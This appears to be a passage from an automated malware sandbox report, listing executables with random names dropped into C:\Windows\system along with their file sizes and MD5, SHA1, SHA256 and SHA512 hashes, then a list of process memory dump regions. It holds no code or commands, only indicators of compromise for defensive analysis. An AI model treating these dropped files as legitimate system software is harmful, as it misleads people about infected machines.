fd9e96de465ae7fca0948ff7ef6e160b221c5b24865d4a7afb127cea268ad6aa2402911d9f88d157d0af7e29ff60099baec4b78ed00987436014691b0872880e

Download Submit
C:\Windows\system\qLMPfGV.exe

Filesize
2.2MB

MD5
f583a8226545743aeacc262cfb072124

SHA1
00a6cf514fe5c5b611d2d7131244c732dbf69d31

SHA256
32000c1c96b4fbd3e1011049c4ed684056f80fa286c31cfe208cffa176b90570

SHA512
aec34c3b874a1481df56a54392d8e375e1c97351656839f961e5dee6aef7703b458d38a81df7f9edaea2020ec9ed3362bdadd5dfe5f212df299a5ef0a164fbd9

Download Submit
C:\Windows\system\rprJkzf.exe

Filesize
2.2MB

MD5
90979cdea8adabe8bbbf795fb2dc4a49

SHA1
751c633c62ec8b9dc842fb96713b668ef37b61bb

SHA256
918123c860cf5e301322e60d266a0d8daf0fddd4bb762ed0fcd99e70f99987f7

SHA512
3036d496de71e156c7cb5fb11b165e9c18dbe6cc1ba5134c16ca1c0c86874b9fc2fc9b82468aa35a017edf875d22e590df835f65027795aa3c1008d97c08894e

Download Submit
C:\Windows\system\tBlkobs.exe

Filesize
2.2MB

MD5
0e65cdaf01881ac604e09b0d60a796ae

SHA1
cdd2d089920f97c7db62b6533ea39a5d244fa0c2

SHA256
43f19c7cf18e6435489239782a05bb588ad2165c3dfdc431d54a7a24f9d8374c

SHA512
64ec6ec23b79e8518a3e0991fd7345b4e71b0137f5ded87cc25a3a7547adce278eb314dbe1b8af6ff69b256e2baef7e83c8c3efdc844cb84583c79ce59a5d371

Download Submit
C:\Windows\system\tumOvLh.exe

Filesize
2.2MB

MD5
7dc87a980cd47bb38fabeaf7c7b8f853

SHA1
077d20afeb6534fe10dd31dae22af695c5f14055

SHA256
4dc39c1f6e9b0076a2fbf09e605940392ef74ae4ae7436709f3a022d77ca1d1f

SHA512
483d4e865dcd0ee9ab92280fa73685ddb09f77cdbd10f5973b4c3fe6d3d079add314586f65ef2c6e2ab111bcac81255fe67a7da83005359428c7d4087c95d117

Download Submit
C:\Windows\system\wZVTjaW.exe

Filesize
2.2MB

MD5
1d345741a014ddadac789470a687a7c1

SHA1
d9eeed212b8cb7fcf24c012ca37f9f731297b1f4

SHA256
83c3a40226080ea0d85b6691d8d394e66e15d6146e1be42b778e80c3eff5735e

SHA512
0af0dc9ef7614b5493e592ac79e63575b6d38ba3e99fb0bf3b652a8252e10c9355f2b4457eb49f0d9af6af912bec96630d7277889849eb0efbf775f663806cff

Download Submit
C:\Windows\system\xoewhMF.exe

Filesize
2.2MB

MD5
c77ff6ccb6e9bf47584fc6428b6eea41

SHA1
87c0de86b8209708085f7ca321f976b17d2f0daa

SHA256
4a041aa7c1e0fff13b50a5a54276ac43ebd1d50d8176a1e2f7d2fe39d58aab0b

SHA512
7c25238a14a4ebdbc865cff37e791ccaec4ba510379f101b1de8e8805f4c2dc0bbe48fe3882b4d0d8a54e90b668c0857b2234688f876d1fed5142fe6eaa9415e

Download Submit
C:\Windows\system\zkkyzSY.exe

Filesize
2.2MB

MD5
bafee6c12ecac31123e1d3ba2a79791c

SHA1
4130827f874c25d0551ec9e6091a4b41cbea3791

SHA256
5a95c6ae39e3eb063d7d8655294548a436315817d07266e4725807eb1de4d34b

SHA512
28523951a15499765f21fc10218d771901959a7f12fcf6b703574a170715a244db609be5ac77cc40113786b98754661eaad2aa46df732fc4cb682d0c47e5e0e8

Download Submit
\Windows\system\INOaBBi.exe

Filesize
2.2MB

MD5
6dfa1c2e67dbd1c2225eb53ea502148c

SHA1
d453bef471c414242c6a6eecd24b7171e1c5cd20

SHA256
2b418b30ed343a9f3d8ada185d33e4a14475d74433a881ca820ee0593c29d0a4

SHA512
41933f0bb97305641ea79006b7b3acbe99576422dd1cb9017a33eec4a342ef06c2337f6d79954ab82af8dc3e83e83f64af97851e75dcb10ad8a0cc0105a02ae1

Download Submit
\Windows\system\JEhXeKh.exe

Filesize
2.2MB

MD5
0d5519a52f1df7410b6be542a72545f1

SHA1
4afa4e6c2761036ae8ec265534d05ad4795ae2b4

SHA256
777666d5941dc742b47ed4e8c967e0e8d427b73885f9c41315c09981258a16c3

SHA512
8c058d8438a0eb9529ae1b9aff7ac16ee6c25bb14dc26737c13e7897056504eb80efaafb45845d5473d3e459a858d783c395acfbd3a484811fba2eeec8f0eb0f

Download Submit
\Windows\system\KAxtDwy.exe

Filesize
2.2MB

MD5
359e82daa633dc72a5273d44f5faa909

SHA1
dc9a53769766dbcd2a56ab95ef1be3850443060a

SHA256
f8544e802f4ce6174b5704aa6c36c285a29a03d7be4ee682e07bf39f647b5b80

SHA512
4ac9599da9bfcfe091d7b464670d739f21c780dabce2a974cf4b5a83feb89d22e93b58065c450f143861da7ec3db6e65eadec571d66049c495dd993b9cf2e37f

Download Submit
\Windows\system\WPdnPEQ.exe

Filesize
2.2MB

MD5
5df6162091580ef2c549f5fd2335eb0d

SHA1
bba7a20d3ab5fc14d3d297c40e80987fd1709e8e

SHA256
6114ebc118dbb388db23be0948277029190926ff61e23a942ea4df5fdf519c63

SHA512
42a14d996bcf6c8ad718e6e6f8bc04700f1676e2773c3ac307100a38ee7d284dd4c2d1db2ed371f952784ad6740cace52e91b84899058c2082c6607a8d350599

Download Submit
\Windows\system\kdUgdpj.exe

Filesize
2.2MB

MD5
e6cd867ab7913630af4b308a29352c76

SHA1
e36912016319c2fdf98042f4dcc56a2aa01e9df2

SHA256
c8d9794d95fe27d351566e8fd694346f0744299b7f5d092c5e9b7de32977b87b

SHA512
8180b43a1a739e34603a383b0d717d7545e8813d8c6ac4846e11af9079c6e7b79f7ff3b5ce6bae29829e6c97293a2182b286327c641963ed2b62bccb073e9b48

Download Submit
\Windows\system\lDAXLen.exe

Filesize
2.2MB

MD5
cc3b2e44bb1ee4cc4095a134f94db63e

SHA1
7e10468823b24a59e41ad8b0469897027ce0c45a

SHA256
48b5b4ddc9683e55ad5ad4785e71c4969486f8d9f155be087ab2f69ea2b276b5

SHA512
e8636f70e0f2a9697cc71125b4bfdaf47a59802a19fcc150b36c0efe0f792607fed94fbe88435e1994d6d86626f83a5404c0f3f5797baba612dca8f27739c9a8

Download Submit
\Windows\system\mDHaqMS.exe

Filesize
2.2MB

MD5
e25bb668a4e8f48eda72031027ba84e7

SHA1
0c119cd0431af6e2d7d81d914aebf0f538c64843

SHA256
4ae2f13595430ac6afb1c5b225fecbf5cf00db7ac3b63ba9190335c813c1dfb8

SHA512
65962aecb506f34f83900b3fc9f177472c2929bbd50b78b2c50da91cda0e165ffc6f31d09cf9bb82a849b7c99fb268453c09d7f6377e19f92de4919e53fbcc6b

Download Submit
\Windows\system\olLJgpx.exe

Filesize
2.2MB

MD5
595e19fe55ff622ed094e2360e0b4763

SHA1
beabdb8a3e61e6a8ba8acf18231c62c4c630a983

SHA256
dd4a65bc72536ca815a3d4900b482e689e45c97ec35ea7b270e90a852dda77d2

SHA512
343cbe405a6b853d27d08d289c4dcb7c4215ca31deb46d01f8711945b02a48c60869c0100382752a78d2d2d0d8a8245b5ddb626a8b8ba0269391eb31755c41a6

Download Submit
\Windows\system\sJqoQca.exe

Filesize
2.2MB

MD5
d95154a0cdc3a62efee067d03b5db49c

SHA1
41269c3fe1f3f01f3c4ea7cc806a79ca138aac3b

SHA256
4f63327ac6b718acc2e56951f2ae16d99c327b08c4cdbf21197595b1d5d8017e

SHA512
aa3dc12cbc7b07b75b11d974dbc6b4f59663387a0e2561137672cee36b030dfecf798622ad68edcca6e4ac15a36b0f4c1ed47578c4df92cb57384fda3b4f8688

Download Submit
memory/768-128-0x000000013F7B0000-0x000000013FBA2000-memory.dmp

Filesize
3.9MB

Download
memory/768-4735-0x000000013F7B0000-0x000000013FBA2000-memory.dmp

Filesize
3.9MB

Download
memory/1244-287-0x000007FEF5D50000-0x000007FEF66ED000-memory.dmp

Filesize
9.6MB

Download
memory/1244-29-0x000007FEF600E000-0x000007FEF600F000-memory.dmp

Filesize
4KB

Download
memory/1244-138-0x0000000001DA0000-0x0000000001DA8000-memory.dmp

Filesize
32KB

Download
memory/1244-112-0x000007FEF5D50000-0x000007FEF66ED000-memory.dmp

Filesize
9.6MB

Download
memory/1244-120-0x000000001B620000-0x000000001B902000-memory.dmp

Filesize
2.9MB

Download
memory/1660-123-0x000000013F6D0000-0x000000013FAC2000-memory.dmp

Filesize
3.9MB

Download
memory/1660-13-0x000000013F170000-0x000000013F562000-memory.dmp

Filesize
3.9MB

Download
memory/1660-0-0x000000013FD20000-0x0000000140112000-memory.dmp

Filesize
3.9MB

Download
memory/1660-116-0x000000013F0C0000-0x000000013F4B2000-memory.dmp

Filesize
3.9MB

Download
memory/1660-115-0x00000000030E0000-0x00000000034D2000-memory.dmp

Filesize
3.9MB

Download
memory/1660-121-0x000000013F2C0000-0x000000013F6B2000-memory.dmp

Filesize
3.9MB

Download
memory/1660-113-0x00000000030E0000-0x00000000034D2000-memory.dmp

Filesize
3.9MB

Download
memory/1660-125-0x000000013F230000-0x000000013F622000-memory.dmp

Filesize
3.9MB

Download
memory/1660-11-0x00000000030E0000-0x00000000034D2000-memory.dmp

Filesize
3.9MB

Download
memory/1660-127-0x000000013F7B0000-0x000000013FBA2000-memory.dmp

Filesize
3.9MB

Download
memory/1660-129-0x000000013F380000-0x000000013F772000-memory.dmp

Filesize
3.9MB

Download
memory/1660-1-0x00000000000F0000-0x0000000000100000-memory.dmp

Filesize
64KB

Download
memory/1660-131-0x000000013F0C0000-0x000000013F4B2000-memory.dmp

Filesize
3.9MB

Download
memory/1660-118-0x00000000030E0000-0x00000000034D2000-memory.dmp

Filesize
3.9MB

Download
memory/2032-4733-0x000000013F380000-0x000000013F772000-memory.dmp

Filesize
3.9MB

Download
memory/2032-130-0x000000013F380000-0x000000013F772000-memory.dmp

Filesize
3.9MB

Download
memory/2384-4725-0x000000013F2C0000-0x000000013F6B2000-memory.dmp

Filesize
3.9MB

Download
memory/2384-122-0x000000013F2C0000-0x000000013F6B2000-memory.dmp

Filesize
3.9MB

Download
memory/2436-124-0x000000013F6D0000-0x000000013FAC2000-memory.dmp

Filesize
3.9MB

Download
memory/2436-4732-0x000000013F6D0000-0x000000013FAC2000-memory.dmp

Filesize
3.9MB

Download
memory/2472-4742-0x000000013F0C0000-0x000000013F4B2000-memory.dmp

Filesize
3.9MB

Download
memory/2472-132-0x000000013F0C0000-0x000000013F4B2000-memory.dmp

Filesize
3.9MB

Download
memory/2484-119-0x000000013F940000-0x000000013FD32000-memory.dmp

Filesize
3.9MB

Download
memory/2484-4726-0x000000013F940000-0x000000013FD32000-memory.dmp

Filesize
3.9MB

Download
memory/2512-16-0x000000013FD80000-0x0000000140172000-memory.dmp

Filesize
3.9MB

Download
memory/2512-4714-0x000000013FD80000-0x0000000140172000-memory.dmp

Filesize
3.9MB

Download
memory/2572-4716-0x000000013F170000-0x000000013F562000-memory.dmp

Filesize
3.9MB

Download
memory/2572-14-0x000000013F170000-0x000000013F562000-memory.dmp

Filesize
3.9MB

Download
memory/2680-4724-0x000000013FE50000-0x0000000140242000-memory.dmp

Filesize
3.9MB

Download
memory/2680-133-0x000000013FE50000-0x0000000140242000-memory.dmp

Filesize
3.9MB

Download
memory/2828-4718-0x000000013FC70000-0x0000000140062000-memory.dmp

Filesize
3.9MB

Download
memory/2828-114-0x000000013FC70000-0x0000000140062000-memory.dmp

Filesize
3.9MB

Download
memory/2908-126-0x000000013F230000-0x000000013F622000-memory.dmp

Filesize
3.9MB

Download
memory/2908-4730-0x000000013F230000-0x000000013F622000-memory.dmp

Filesize
3.9MB

Download
memory/2952-117-0x000000013F0C0000-0x000000013F4B2000-memory.dmp

Filesize
3.9MB

Download
memory/2952-4722-0x000000013F0C0000-0x000000013F4B2000-memory.dmp

Filesize
3.9MB

Download